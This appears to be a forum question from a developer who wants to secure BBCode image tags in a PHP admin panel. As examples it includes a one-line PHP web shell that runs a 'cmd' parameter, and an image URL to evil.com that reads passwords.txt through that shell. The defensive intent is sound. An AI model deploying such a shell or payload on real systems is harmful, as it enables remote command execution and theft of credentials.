I'm trying to make a kind of administratorpanel for my website, so I could e.g easily add news articles to my website. The problem is that the administrators should be able to use a kind of BBCode, but I need to do this in a secure way.
For these tags it ain't a problem:
[h1], [b], [i]
,... That's just replacing with
<h1>, <b>, <i>,... but I'm encountering problems with for example the [img]-tag.
[img]http://image-host.com/cat.png[/img] ain't a problem if I replace the
[img]http://evil.com/shell.php?cmd=echo $(cat passwords.txt) > stolenPasswords.txt"[/img] could give a problem (just for the sake of a quick example).
Users reacting with an image, or an evil administrator could give the URL to a shell or other evil code.
Tested with this code:
<html> <img src="cat.jpeg" /><br> <img src="http://localhost/test2/danger1.php?cmd=echo $(cat ../test/passwords.txt) > stolenPasswords.txt" /> </html>
<?php $x = system($_GET["cmd"]); ?>
Will normal image-validating also satisfy even if it's remote? IMHO not because evil.com could be a Nginx server on which .png images can be interpreted as code.
I'm asking on how to do it in code (PHP), but also on how to secure it by server-configuration.
TL;DR How can I secure the panel which allows administrators and users to set bold and italic text, and images by using something like BBCode-like tags?